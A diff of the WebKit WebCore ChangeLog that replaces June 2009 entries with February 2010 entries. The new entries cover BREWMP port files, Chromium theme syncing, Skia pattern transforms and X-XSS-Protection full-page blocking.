         Reviewed by Eric Seidel.
 
-        Test: platform/qt/fast/events/event-sender-keydown-frame.html
+        [BREWMP] Port Screen
+        https://bugs.webkit.org/show_bug.cgi?id=34299
 
-        Bug 20303: [Qt] Key events are not working in frames.
+        Get the screen size and depth from the main display bitmap.
 
-        Merge scrolling handling code in qt and win port, move it to
-        EventHandler.
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::scrollRecursively):
-        * page/EventHandler.h:
+        * platform/brew/ScreenBrew.cpp: Added.
+        (WebCore::getDisplayInfo):
+        (WebCore::screenRect):
+        (WebCore::screenAvailableRect):
+        (WebCore::screenDepth):
+        (WebCore::screenDepthPerComponent):
+        (WebCore::screenIsMonochrome):
 
-2009-06-26  Rob Buis  <rwlbuis@gmail.com>
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26682
-        Bug 26682: It should be possible to add image to SVG DOM programmatically (using JavaScript)
-
-        Make sure the xlink:href animated property setting syncs the corresponding attribute with the right namespace.
-
-        Test: svg/custom/createImageElement.svg
-
-        * svg/SVGAnimatedProperty.h:
-        (WebCore::synchronizeProperty):
-
-2009-06-26  Takeshi Yoshino  <tyoshino@google.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Bug 26156: In view-source mode, always render the contents using HTMLViewSourceDocument
-        https://bugs.webkit.org/show_bug.cgi?id=26156
-
-        When in view-source mode, render the contents using HTMLViewSourceDocument
-        regardless it's applicable for any plugin or not.
-
-        Chromium tells WebCore to render the contents of specified URL when
-        view-source: prefix is added to the URL. But currently, DOMImplementation
-        ignores inViewSourceMode() when the MIME type is indicating that the contents
-        are neither texts nor HTML family documents.
-
-        For example, we can check the contents of asf file without launching media
-        player. Rendering contents for view-source:-specified input is not what user
-        expects.
-
-        http://code.google.com/p/chromium/issues/detail?id=10545
-
-        I want to fix this issue by this patch. IMHO, regardless of this Chromium
-        specific issue, I think we should force use of HTMLViewSourceDocument when
-        inViewSourceMode() is specified.
-
-        Test: fast/frames/viewsource-on-image-file.html
-
-        * dom/DOMImplementation.cpp:
-        (WebCore::DOMImplementation::createDocument):
-        * html/HTMLViewSourceDocument.cpp:
-        (WebCore::HTMLViewSourceDocument::createTokenizer):
-        * html/HTMLViewSourceDocument.h:
-
-2009-06-26  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Jan Alonzo.
+        [BREWMP] Port LocalizedStrings
+        https://bugs.webkit.org/show_bug.cgi?id=34257
 
-        https://bugs.webkit.org/show_bug.cgi?id=25529
-        [Gtk] Expected states not exposed to assistive technologies
+        Port LocalizedStrings to BREWMP.
 
-        Add support for VISIBLE, EDITABLE and SENSITIVE states.
+        * platform/brew/LocalizedStringsBrew.cpp: Added.
+        (WebCore::submitButtonDefaultLabel):
+        (WebCore::inputElementAltText):
+        (WebCore::resetButtonDefaultLabel):
+        (WebCore::defaultLanguage):
+        (WebCore::searchableIndexIntroduction):
+        (WebCore::fileButtonChooseFileLabel):
+        (WebCore::fileButtonNoFileSelectedLabel):
+        (WebCore::contextMenuItemTagOpenLinkInNewWindow):
+        (WebCore::contextMenuItemTagDownloadLinkToDisk):
+        (WebCore::contextMenuItemTagCopyLinkToClipboard):
+        (WebCore::contextMenuItemTagOpenImageInNewWindow):
+        (WebCore::contextMenuItemTagDownloadImageToDisk):
+        (WebCore::contextMenuItemTagCopyImageToClipboard):
+        (WebCore::contextMenuItemTagOpenFrameInNewWindow):
+        (WebCore::contextMenuItemTagCopy):
+        (WebCore::contextMenuItemTagGoBack):
+        (WebCore::contextMenuItemTagGoForward):
+        (WebCore::contextMenuItemTagStop):
+        (WebCore::contextMenuItemTagReload):
+        (WebCore::contextMenuItemTagCut):
+        (WebCore::contextMenuItemTagPaste):
+        (WebCore::contextMenuItemTagNoGuessesFound):
+        (WebCore::contextMenuItemTagIgnoreSpelling):
+        (WebCore::contextMenuItemTagLearnSpelling):
+        (WebCore::contextMenuItemTagSearchWeb):
+        (WebCore::contextMenuItemTagLookUpInDictionary):
+        (WebCore::contextMenuItemTagOpenLink):
+        (WebCore::contextMenuItemTagIgnoreGrammar):
+        (WebCore::contextMenuItemTagSpellingMenu):
+        (WebCore::contextMenuItemTagShowSpellingPanel):
+        (WebCore::contextMenuItemTagCheckSpelling):
+        (WebCore::contextMenuItemTagCheckSpellingWhileTyping):
+        (WebCore::contextMenuItemTagCheckGrammarWithSpelling):
+        (WebCore::contextMenuItemTagFontMenu):
+        (WebCore::contextMenuItemTagBold):
+        (WebCore::contextMenuItemTagItalic):
+        (WebCore::contextMenuItemTagUnderline):
+        (WebCore::contextMenuItemTagOutline):
+        (WebCore::contextMenuItemTagWritingDirectionMenu):
+        (WebCore::contextMenuItemTagDefaultDirection):
+        (WebCore::contextMenuItemTagLeftToRight):
+        (WebCore::contextMenuItemTagRightToLeft):
+        (WebCore::contextMenuItemTagInspectElement):
+        (WebCore::searchMenuNoRecentSearchesText):
+        (WebCore::searchMenuRecentSearchesText):
+        (WebCore::searchMenuClearRecentSearchesText):
+        (WebCore::unknownFileSizeText):
+        (WebCore::AXWebAreaText):
+        (WebCore::AXLinkText):
+        (WebCore::AXListMarkerText):
+        (WebCore::AXImageMapText):
+        (WebCore::AXHeadingText):
+        (WebCore::imageTitle):
+        (WebCore::contextMenuItemTagTextDirectionMenu):
+        (WebCore::AXButtonActionVerb):
+        (WebCore::AXTextFieldActionVerb):
+        (WebCore::AXRadioButtonActionVerb):
+        (WebCore::AXCheckedCheckBoxActionVerb):
+        (WebCore::AXUncheckedCheckBoxActionVerb):
+        (WebCore::AXLinkActionVerb):
+        (WebCore::AXMenuListPopupActionVerb):
+        (WebCore::AXMenuListActionVerb):
+        (WebCore::AXDefinitionListTermText):
+        (WebCore::AXDefinitionListDefinitionText):
+        (WebCore::validationMessageValueMissingText):
+        (WebCore::validationMessageTypeMismatchText):
+        (WebCore::validationMessagePatternMismatchText):
+        (WebCore::validationMessageTooLongText):
+        (WebCore::validationMessageRangeUnderflowText):
+        (WebCore::validationMessageRangeOverflowText):
+        (WebCore::validationMessageStepMismatchText):
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (setAtkStateSetFromCoreObject):
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
 
-2009-06-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        Reviewed by Eric Seidel.
 
-        Reviewed by Darin Adler.
+        [BREWMP] Port systemBeep
+        https://bugs.webkit.org/show_bug.cgi?id=33601
 
-        "Pointer to incomplete class type is not allowed" error with RVCT
-        https://bugs.webkit.org/show_bug.cgi?id=26721
+        Implement systemBeep with IShell_Beep.
 
-        Based on Norbert Leser's work.
+        * platform/brew/SoundBrew.cpp: Added.
+        (WebCore::systemBeep):
 
-        * dom/Document.cpp:
-        (WebCore::Document::setFocusedNode):
-        * dom/Node.cpp:
-        (WebCore::Node::dispatchMouseEvent):
-        * dom/Node.h: Remove the default value for PassRefPtr<Event> args,
-        to eliminate dependency on the Event class definition
+2010-02-02  Shinichiro Hamaji  <hamaji@chromium.org>
 
-2009-06-26  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        Reviewed by Eric Seidel.
 
-        Reviewed by Maciej Stachowiak.
+        [Win] Utilize PrintContext to share the printing code with other ports
+        https://bugs.webkit.org/show_bug.cgi?id=34312
 
-        [Qt] Build fix after r45183
-        https://bugs.webkit.org/show_bug.cgi?id=26748
+        No new tests as this is just a small refactoring.
 
-        * WebCore.pro:
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
 
-2009-06-25  Alexey Proskuryakov  <ap@webkit.org>
+        Reviewed by Eric Seidel.
 
-        Reviewed by Darin Adler.
+        [BREWMP] Add conversions between IntPoint and AEEPoint
+        https://bugs.webkit.org/show_bug.cgi?id=34194
 
-        https://bugs.webkit.org/show_bug.cgi?id=26681
-        <rdar://problem/7003461> Problem updating applicationCache when server returns 304
+        Make it easy to convert between IntPoint and AEEPoint.
 
-        Test: http/tests/appcache/update-cache.html
+        * platform/graphics/IntPoint.h:
+        * platform/graphics/brew/IntPointBrew.cpp: Added.
+        (WebCore::IntPoint::IntPoint):
+        (WebCore::IntPoint::operator AEEPoint):
 
-        * loader/appcache/ApplicationCacheGroup.cpp: (WebCore::ApplicationCacheGroup::didReceiveResponse):
-        We're already done with the resource, don't try to load it again.
+2010-02-02  Steve Block  <steveblock@google.com>
 
-2009-06-25  Simon Fraser  <simon.fraser@apple.com>
+        Reviewed by Adam Barth.
 
-        Reviewed by Oliver Hunt.
-        
-        <rdar://problem/6990481>
-        
-        Handle perspective computation on non-layer objects.
+        Adds virtual destructors for AbstractWeakReferenceMap and AbstractWeakReferenceMap::Visitor
+        https://bugs.webkit.org/show_bug.cgi?id=34434
 
-        Test: transforms/3d/general/perspective-non-layer.html
+        No new tests, build fix only.
 
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::getTransformFromContainer):
+        * bindings/v8/V8DOMMap.h: Modified.
+        (WebCore::AbstractWeakReferenceMap::~AbstractWeakReferenceMap): Added.
+        (WebCore::AbstractWeakReferenceMap::Visitor::~Visitor): Added.
 
-2009-06-25  Pierre d'Herbemont  <pdherbemont@apple.com>
+2010-02-02  Avi Drissman  <avi@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26653
+        Sync up Chromium Mac render theme to Mac render theme
+        https://bugs.webkit.org/show_bug.cgi?id=34340
 
-        Use flex box in the mediaControls.css style, to nicely scale if a button gets
-        dynamically added or removed.
-
-        Media tests results are affected by this changes.
-
-        * css/mediaControls.css:
-        * css/mediaControlsQT.css:
+        Covered by existing layout tests.
 
-2009-06-25  Albert J. Wong  <ajwong@chromium.org>
+        * platform/chromium/ThemeChromiumMac.mm:
+        (WebCore::updateStates):
+        (WebCore::checkbox):
+        (WebCore::paintCheckbox):
+        (WebCore::radio):
+        (WebCore::paintRadio):
+        (WebCore::listButtonSizes):
+        (WebCore::setupButtonCell):
+        (WebCore::button):
+        (WebCore::paintButton):
+        (WebCore::ThemeChromiumMac::controlSize):
+        (WebCore::ThemeChromiumMac::minimumControlSize):
+        (WebCore::ThemeChromiumMac::controlBorder):
+        (WebCore::ThemeChromiumMac::paint):
+        * rendering/RenderThemeChromiumMac.h:
+        * rendering/RenderThemeChromiumMac.mm:
+        (-[WebCoreRenderThemeNotificationObserver initWithTheme:WebCore::]):
+        (WebCore::convertNSColorToColor):
+        (WebCore::RenderThemeChromiumMac::systemColor):
+        (WebCore::RenderThemeChromiumMac::isControlStyled):
+        (WebCore::RenderThemeChromiumMac::adjustRepaintRect):
+        (WebCore::RenderThemeChromiumMac::convertToPaintingRect):
+        (WebCore::RenderThemeChromiumMac::paintCapsLockIndicator):
+        (WebCore::RenderThemeChromiumMac::paintMenuList):
+        (WebCore::RenderThemeChromiumMac::paintMenuListButton):
+        (WebCore::RenderThemeChromiumMac::adjustMenuListStyle):
+        (WebCore::RenderThemeChromiumMac::adjustMenuListButtonStyle):
+        (WebCore::RenderThemeChromiumMac::paintSliderTrack):
+        (WebCore::RenderThemeChromiumMac::paintSliderThumb):
+        (WebCore::RenderThemeChromiumMac::paintSearchField):
+        (WebCore::RenderThemeChromiumMac::setSearchFieldSize):
+        (WebCore::RenderThemeChromiumMac::adjustSearchFieldStyle):
+        (WebCore::RenderThemeChromiumMac::paintSearchFieldResultsButton):
+        (WebCore::RenderThemeChromiumMac::adjustSliderThumbSize):
+        (WebCore::RenderThemeChromiumMac::popupButton):
+        (WebCore::RenderThemeChromiumMac::sliderThumbHorizontal):
+        (WebCore::RenderThemeChromiumMac::sliderThumbVertical):
 
-        Reviewed by Darin Fisher.
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
 
-        https://bugs.webkit.org/show_bug.cgi?id=26724
+        Reviewed by Eric Seidel.
 
-        Move relavent part of setDefaultFontSize from RenderThemeChromiumWin
-        up into RenderThemeChromiumSkia.
+        [BREWMP] Port Logging
+        https://bugs.webkit.org/show_bug.cgi?id=34300
 
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::setDefaultFontSize):
-        * rendering/RenderThemeChromiumSkia.h:
-        * rendering/RenderThemeChromiumWin.cpp:
-        (WebCore::RenderThemeChromiumWin::setDefaultFontSize):
-        * rendering/RenderThemeChromiumWin.h:
+        Log calls to notImplemented() by default.
 
-2009-06-25  Matt Perry  <mpcomplete@chromium.org>
+        * platform/brew/LoggingBrew.cpp: Added.
+        (WebCore::InitializeLoggingChannelsIfNecessary):
 
-        Reviewed by Darin Fisher.
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
 
-        https://bugs.webkit.org/show_bug.cgi?id=26733
+        Reviewed by Eric Seidel.
 
-        Add V8-only methods to FrameLoaderClient that V8 can use to send
-        out notifications when it creates/destroys a script context.
+        [BREWMP] Port FileChooser
+        https://bugs.webkit.org/show_bug.cgi?id=34261
 
-        * loader/EmptyClients.h:
-        (WebCore::EmptyFrameLoaderClient::didCreateScriptContext):
-        (WebCore::EmptyFrameLoaderClient::didDestroyScriptContext):
-        * loader/FrameLoaderClient.h:
-        (WebCore::FrameLoaderClient::didCreateScriptContext):
-        (WebCore::FrameLoaderClient::didDestroyScriptContext):
+        Port FileChooser to BREWMP.
 
-2009-06-25  Dimitri Glazkov  <dglazkov@chromium.org>
+        * platform/brew/FileChooserBrew.cpp: Added.
+        (WebCore::FileChooser::basenameForWidth):
 
-        Reviewed by David Levin.
+2010-02-01  Zoltan Horvath  <zoltan@webkit.org>
 
-        Correct a few typos that snuck in when I was reformatting CodeGeneratorV8.pm
-        to match WebKit style.
+        Reviewed by Darin Adler.
 
-        * bindings/scripts/CodeGeneratorV8.pm: Corrected lots of typos.
+        Allow custom memory allocation control for IconDatabaseClient class
+        https://bugs.webkit.org/show_bug.cgi?id=33252
 
-2009-06-25  Adam Langley  <agl@google.com>
+        Inherits the following struct from Noncopyable because it is 
+        instantiated by 'new' and no need to be copyable:
 
-        TBRed: fix for Chromium tree.
+        class name               - instantiated at: WebCore/'location'
+        class IconDatabaseClient - loader/icon/IconDatabase.cpp:89
 
-        Add missing include for r45199.
+        * loader/icon/IconDatabaseClient.h:
 
-        https://bugs.webkit.org/show_bug.cgi?id=26736
+2010-02-01  Kwang Yul Seo  <skyul@company100.net>
 
-        r45199 added a reference to throwError without including V8Proxy.h
+        Reviewed by Eric Seidel.
 
-        * bindings/v8/WorkerScriptController.cpp:
+        [BREWMP] Port MIMETypeRegistry
+        https://bugs.webkit.org/show_bug.cgi?id=34220
 
-2009-06-25  Adam Langley  <agl@google.com>
+        Port MIMETypeRegistry with an extension map as other ports do.
 
-        TBRed: fix for Chromium tree.
+        * platform/brew: Added.
+        * platform/brew/MIMETypeRegistryBrew.cpp: Added.
+        (WebCore::):
+        (WebCore::MIMETypeRegistry::getMIMETypeForExtension):
 
-        https://bugs.webkit.org/show_bug.cgi?id=26735
+2010-02-01  Dmitry Titov  <dimich@chromium.org>
 
-        Fix V8IsolatedWorld to point to the correct include file.
+        Not reviewed, revert r54194 that fails new test on Qt and Chromium.
+        https://bugs.webkit.org/show_bug.cgi?id=34382
 
-        The deprecated v8_index.h was removed from the Chromium tree in r19291
-        and upstreamed into WebKit with r45193. However V8IsolatedWorld
-        slipped in between the cracks and broke the build.
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::setNameAndOpenURL):
+        (WebCore::HTMLFrameElementBase::insertedIntoDocument):
+        * html/HTMLFrameElementBase.h:
+        * page/Frame.cpp:
+        * page/Frame.h:
 
-        * bindings/v8/V8IsolatedWorld.h: update with new header location.
+2010-02-01  Shinichiro Hamaji  <hamaji@chromium.org>
 
-2009-06-25  Chris Marrin  <cmarrin@apple.com>
+        Reviewed by Eric Seidel.
 
-        Reviewed by Simon Fraser  <simon.fraser@apple.com>.
+        Provide a way to get page number with layoutTestController
+        https://bugs.webkit.org/show_bug.cgi?id=33840
 
-        https://bugs.webkit.org/show_bug.cgi?id=26651
-        
-        Preference is named "WebKitAcceleratedCompositingEnabled"
-        and is a boolean value. When false, prevents compositing layers from
-        being created, which prevents hardware animation from running.
-        Also forces video to do software rendering. Added a cache for
-        the flag in RenderLayerCompositing and made it all work
-        on-the-fly when the flag is changed while a page is loaded.
+        Test: printing/page-break-always.html
 
         * WebCore.base.exp:
-        * page/FrameView.cpp:
-        (WebCore::FrameView::updateCompositingLayers):
-        * page/Settings.cpp:
-        (WebCore::setNeedsReapplyStylesInAllFrames):
-        (WebCore::Settings::Settings):
-        (WebCore::Settings::setAcceleratedCompositingEnabled):
-        * page/Settings.h:
-        (WebCore::Settings::acceleratedCompositingEnabled):
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::hasAcceleratedCompositing):
-        (WebCore::RenderLayer::updateTransform):
-        (WebCore::RenderLayer::currentTransform):
-        * rendering/RenderLayer.h:
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::updateLayerTransform):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::RenderLayerCompositor):
-        (WebCore::RenderLayerCompositor::enableCompositingMode):
-        (WebCore::RenderLayerCompositor::cacheAcceleratedCompositingEnabledFlag):
-        (WebCore::RenderLayerCompositor::updateCompositingLayers):
-        (WebCore::RenderLayerCompositor::canAccelerateVideoRendering):
-        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
-        (WebCore::RenderLayerCompositor::needsToBeComposited):
-        (WebCore::RenderLayerCompositor::destroyRootPlatformLayer):
-        * rendering/RenderLayerCompositor.h:
-        (WebCore::RenderLayerCompositor::hasAcceleratedCompositing):
-        * rendering/RenderObject.h:
-        (WebCore::makeMatrixRenderable):
-
-2009-06-25  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Bug 26701: Implement the missing code for "FIXME: Need to return an
-        exception" in WorkerScriptController::evaluate for v8 bindings.
-        https://bugs.webkit.org/show_bug.cgi?id=26701
-
-        * bindings/v8/WorkerScriptController.cpp:
-        (WebCore::WorkerScriptController::evaluate):
-
-2009-06-25  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Upstream V8Index.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26495
-
-        * bindings/v8/V8Index.cpp: Added.
-        (WebCore::V8ClassIndex::GetFactory): Moved from src.chromium.org.
-        (WebCore::V8ClassIndex::GetCache): Moved from src.chromium.org.
-        * bindings/v8/V8Index.h:
-        (WebCore::V8ClassIndex::): Moved from src.chromium.org.
-        (WebCore::V8ClassIndex::ToInt): Moved from src.chromium.org.
-        (WebCore::V8ClassIndex::FromInt): Moved from src.chromium.org.
-
-2009-06-25  Adam Langley  <agl@google.com>
-
-        Reviewed by Darin Fisher.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26529
-
-        This is hopefully the last step before our renderers can run
-        cleanly in a chroot.
-
-        WebKit needs to be able to ask for the correct font to use in
-        the case that the current font doesn't include glyphs for
-        certain code points. Currently we make a fontconfig call in our
-        WebKit port to handle this.
-
-        This patch changes this so that the call is sent our via
-        ChromiumBridge.
-
-        http://codereview.chromium.org/132007
+        * WebCore.xcodeproj/project.pbxproj:
+        * page/PrintContext.cpp:
+        (WebCore::PrintContext::pageRect): Added a getter function.
+        (WebCore::PrintContext::computePageRects): Move its logic into computePageRectsWithPageSize.
+        (WebCore::PrintContext::computePageRectsWithPageSize): Factored out from computePageRects for pageNumberForElement.
+        (WebCore::enclosingBoxModelObject): Added for pageNumberForElement.
+        (WebCore::PrintContext::pageNumberForElement): Added for testing.
+        * page/PrintContext.h:
 
-        This should not affect any layout tests.
+2010-02-01  Kwang Yul Seo  <skyul@company100.net>
 
-        * platform/chromium/ChromiumBridge.h:
-        * platform/graphics/chromium/FontCacheLinux.cpp:
-        (WebCore::FontCache::getFontDataForCharacters):
-
-2009-06-25  Albert J. Wong  <ajwong@chromium.org>
+        Reviewed by Eric Seidel.
 
-        Reviewed by David Levin.
+        [BREWMP] Add conversions between IntSize and AEESize
+        https://bugs.webkit.org/show_bug.cgi?id=34197
 
-        https://bugs.webkit.org/show_bug.cgi?id=26566
-        Upstream these files from the chromium v8 code.  No tests were
-        affected because this is essentially a code move.
+        Make it easy to convert between IntSize and AEESize.
 
-        * bindings/v8/NPV8Object.cpp: Added.
-        (allocV8NPObject):
-        (freeV8NPObject):
-        (listFromVariantArgs):
-        (npIdentifierToV8Identifier):
-        (npCreateV8ScriptObject):
-        (NPN_Invoke):
-        (NPN_InvokeDefault):
-        (NPN_Evaluate):
-        (NPN_EvaluateHelper):
-        (NPN_GetProperty):
-        (NPN_SetProperty):
-        (NPN_RemoveProperty):
-        (NPN_HasProperty):
-        (NPN_HasMethod):
-        (NPN_SetException):
-        (NPN_Enumerate):
-        (NPN_Construct):
-        * bindings/v8/NPV8Object.h: Added.
-        (PrivateIdentifier::):
-        * bindings/v8/V8NPUtils.cpp: Added.
-        (convertV8ObjectToNPVariant):
-        (convertNPVariantToV8Object):
-        (getStringIdentifier):
-        * bindings/v8/V8NPUtils.h: Added.
-
-2009-06-25  Shinichiro Hamaji  <hamaji@chromium.org>
+        * platform/graphics/IntSize.h:
+        * platform/graphics/brew/IntSizeBrew.cpp: Added.
+        (WebCore::IntSize::IntSize):
+        (WebCore::IntSize::operator AEESize):
+
+2010-02-01  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix for Pattern transformations in Chromium/Skia.  This required 
+        reworking Pattern a bit to be more like the Gradient implementation.
+        In particular, it now holds an m_pattern reference to the
+        platform-specific implementation, and passes along changes to the
+        m_patternSpaceTransformation, in the same way that Gradient does for
+        m_gradientSpaceTransformation.  This is necessary since Skia creates the
+        platform-specific pattern (SkShader) once, rather than recreating it
+        on each draw.
+        For platforms other than Skia, m_pattern is unused, they will
+        continue to use the static createPlatformPattern(), and the new
+        notification functions are stubbed out.  Other platforms can switch to
+        the new implementation if they so choose.
+
+        https://bugs.webkit.org/show_bug.cgi?id=24534 
+
+        Covered by svg/custom/pattern-y-offset.svg,
+        svg/custom/pattern-cycle-detection.svg, and many more.
+
+        * platform/graphics/Pattern.cpp:
+        (WebCore::Pattern::Pattern):
+        Initializer for m_pattern.
+        (WebCore::Pattern::~Pattern):
+        call platformDestroy().
+        (WebCore::Pattern::setPatternSpaceTransform):
+        Pass along the transform via setPlatformPatternSpaceTransform().
+        (WebCore::Pattern::platformDestroy):
+        (WebCore::Pattern::setPlatformPatternSpaceTransform):
+        Stub implementations for non-skia platforms.
+        * platform/graphics/Pattern.h:
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::setPlatformFillPattern):
+        (WebCore::GraphicsContext::setPlatformStrokePattern):
+        Call platformPattern() instead of static version.
+        Since Pattern now owns its SkShader, no need to unref here.
+        * platform/graphics/skia/PatternSkia.cpp:
+        (WebCore::Pattern::platformDestroy):
+        Unref the SkShader on destroy.
+        (WebCore::Pattern::platformPattern):
+        Create the platform pattern (SkShader) once, and cache it.
+        (WebCore::Pattern::setPlatformPatternSpaceTransform):
+        Set the shader's local matrix from the m_patternSpaceTransformation.
+
+2010-02-01  Daniel Bates  <dbates@webkit.org>
 
-        Reviewed by Dimitri Glazkov.
+        Reviewed by Adam Barth.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26436
+        https://bugs.webkit.org/show_bug.cgi?id=27312
 
-        Windows Chromium bug fix: save context of destination canvas in
-        TransparencyWin::compositeTextComposite() before the function
-        modifies the context.
+        Implements support for full page blocking via the X-XSS-Protection header.
 
-        Test: fast/canvas/translate-text.html
+        Tests: http/tests/security/xssAuditor/full-block-base-href.html
+               http/tests/security/xssAuditor/full-block-get-from-iframe.html
+               http/tests/security/xssAuditor/full-block-iframe-javascript-url.html
+               http/tests/security/xssAuditor/full-block-iframe-no-inherit.php
+               http/tests/security/xssAuditor/full-block-javascript-link.html
+               http/tests/security/xssAuditor/full-block-link-onclick.html
+               http/tests/security/xssAuditor/full-block-object-tag.html
+               http/tests/security/xssAuditor/full-block-post-from-iframe.html
+               http/tests/security/xssAuditor/full-block-script-tag-with-source.html
+               http/tests/security/xssAuditor/full-block-script-tag.html
+               http/tests/security/xssAuditor/malformed-xss-protection-header.html
 
-        * platform/graphics/chromium/TransparencyWin.cpp:
-        (WebCore::TransparencyWin::compositeTextComposite):
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::shouldFullPageBlockForXSSProtectionHeader): Added.
+        (WebCore::XSSAuditor::findInRequest): Modified to call method
+        XSSAuditor::shouldFullPageBlockForXSSProtectionHeader.
+        * page/XSSAuditor.h: Defined method shouldFullPageBlockForXSSProtectionHeader
+        and fixed misspelled words in large comment block.
 
-2009-06-25  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+2010-02-01  Kwang Yul Seo  <skyul@company100.net>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Eric Seidel.
 
-        Show the filename and first line for "(program)" in the Profiler/Debugger
-        https://bugs.webkit.org/show_bug.cgi?id=25475
+        [BREWMP] Port SharedTimer with IShell_SetTimerEx.
+        https://bugs.webkit.org/show_bug.cgi?id=33599
 
-        Add support to associate a sourceURL with an eval()'d string
-        via a @sourceURL comment.  Currently the sourceURL is only available
-        in the script debugger, not in the console or profiler, but it's
-        most needed in the script debugger.
+        As fireTime passed in setSharedTimerFireTime is the absolute time,
+        we must calcalute the interval by subtracting currentTime() from
+        fireTime and pass the result to ISHELL_SetTimerEx.
 
-        * English.lproj/localizedStrings.js: added new "(program): %s" string
-        * inspector/front-end/Script.js:
-        (WebInspector.Script): if no sourceURL is available for the Script,
-        search for a comment of the form //@ sourceURL=(url) to use
-        as the sourceURL instead.
-        * manual-tests/inspector/named-evals.html: Added.
+        * platform/brew/SharedTimerBrew.cpp: Added.
+        (WebCore::invokeCallback):
+        (WebCore::setSharedTimerFiredFunction):
+        (WebCore::setSharedTimerFireTime):
+        (WebCore::stopSharedTimer):
 
-2009-06-25  John Gregg  <johnnyg@google.com>
+2010-02-01  Shinichiro Hamaji  <hamaji@chromium.org>
 
-        Reviewed by Sam Weinig.
+        [Chromium] Unreviewed attempt to fix the chromium build.
 
-        Bug 23721: Changing dropdown's selectedIndex within onchange handler fires another onchange
-        https://bugs.webkit.org/show_bug.cgi?id=23721
+        Corresponding change: http://trac.webkit.org/changeset/54182
 
-        onchange events fire when a SELECT element has
-        focus and the selectedIndex is updated by script in some way--either
-        during another onchange, onkeypress, onfocus, or timer--and then
-        focus is lost. 
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGesture):
+        * bindings/v8/ScriptController.h:
 
-        Fixed by making a separate method for user-driven selectedIndex 
-        changes, leaving scripts to use one which doesn't cause onchange to
-        be queued.
-        
-        Test: fast/forms/select-script-onchange.html
-
-        * dom/SelectElement.cpp: check if the pending change is user driven
-        before calling onchange
-        (WebCore::SelectElement::menuListOnChange):
-        (WebCore::SelectElement::setSelectedIndex):
-        * dom/SelectElement.h: store whether the pending change is user driven
-        (WebCore::SelectElementData::userDrivenChange):
-        (WebCore::SelectElementData::setUserDrivenChange):
-        * html/HTMLSelectElement.cpp: split into two methods -- script version
-        [non-user-driven] corresponds to IDL defined property name
-        (WebCore::HTMLSelectElement::setSelectedIndex):
-        (WebCore::HTMLSelectElement::setSelectedIndexByUser):
-        * html/HTMLSelectElement.h: 
-        * rendering/RenderMenuList.cpp: use ByUser method when coming through
-        the renderer
-        (WebCore::RenderMenuList::valueChanged):
+2010-02-01  Dmitry Titov  <dimich@chromium.org>
 
-2009-06-25  Jeremy Orlow  <jorlow@chromium.org>
+        Reviewed by David Levin.
 
-        Reviewed by Darin Fisher.
+        When a live iframe element is moved between pages, it still depends on the old page.
+        https://bugs.webkit.org/show_bug.cgi?id=34382
 
-        https://bugs.webkit.org/show_bug.cgi?id=26698
+        Test: fast/frames/iframe-reparenting-new-page.html
 
-        Combined LocalStorageArea and SessionStorageArea into StorageArea since
-        (after my other refactorings) there are no longer substantial
-        differences between the two.
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::setName):
+        Move the code setting the frame name into a separate function.
 
-        * GNUmakefile.am:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/LocalStorage.cpp:
-        (WebCore::LocalStorage::storageArea):
-        * storage/LocalStorage.h:
-        * storage/LocalStorageArea.cpp: Removed.
-        * storage/LocalStorageArea.h: Removed.
-        * storage/SessionStorage.cpp:
-        (WebCore::SessionStorage::copy):
-        (WebCore::SessionStorage::storageArea):
-        * storage/SessionStorage.h:
-        * storage/SessionStorageArea.cpp: Removed.
-        * storage/SessionStorageArea.h: Removed.
-        * storage/StorageArea.cpp:
-        (WebCore::StorageArea::createLocalStorage):
-        (WebCore::StorageArea::StorageArea):
-        (WebCore::StorageArea::createSessionStorage):
-        (WebCore::StorageArea::copy):
-        (WebCore::StorageArea::setItem):
-        (WebCore::StorageArea::removeItem):
-        (WebCore::StorageArea::clear):
-        (WebCore::StorageArea::scheduleFinalSync):
-        (WebCore::StorageArea::blockUntilImportComplete):
-        (WebCore::StorageArea::dispatchStorageEvent):
-        * storage/StorageArea.h:
-        * storage/StorageAreaSync.cpp:
-        (WebCore::StorageAreaSync::StorageAreaSync):
-        (WebCore::StorageAreaSync::scheduleFinalSync):
-        (WebCore::StorageAreaSync::syncTimerFired):
-        (WebCore::StorageAreaSync::performImport):
-        * storage/StorageAreaSync.h:
-        * storage/StorageSyncManager.h:
